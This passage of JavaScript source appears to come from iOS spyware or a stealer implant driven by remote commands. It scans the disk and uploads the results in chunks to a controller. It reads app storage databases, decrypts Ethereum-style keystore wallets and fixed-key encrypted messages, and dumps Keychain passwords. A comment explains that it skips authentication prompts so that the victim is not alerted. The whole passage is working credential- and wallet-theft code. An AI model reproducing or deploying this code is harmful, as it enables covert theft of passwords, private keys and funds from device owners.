(\" + SCAN_MAX_ITEMS + \")\" : \"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar _sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\tvar _authUIKeyCF = 0n, _authUIValCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\t// fix #3: skip auth UI so locked devices don't prompt \"Enter password for\n\t\t// SpringBoard\". Mirrors _secDumpClass. Auth-protected items are silently\n\t\t// skipped (errSecInteractionNotAllowed) instead of triggering a dialog.\n\t\t_authUIKeyCF = _cfStr(\"u_AuthUI\");\n\t\t_authUIValCF = _cfStr(\"u_AuthUISkip\");\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n && _authUIValCF && _authUIValCF !== 0n) {\n\t\t\tkeys.push(_authUIKeyCF);\n\t\t\tvals.push(_authUIValCF);\n\t\t}\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} 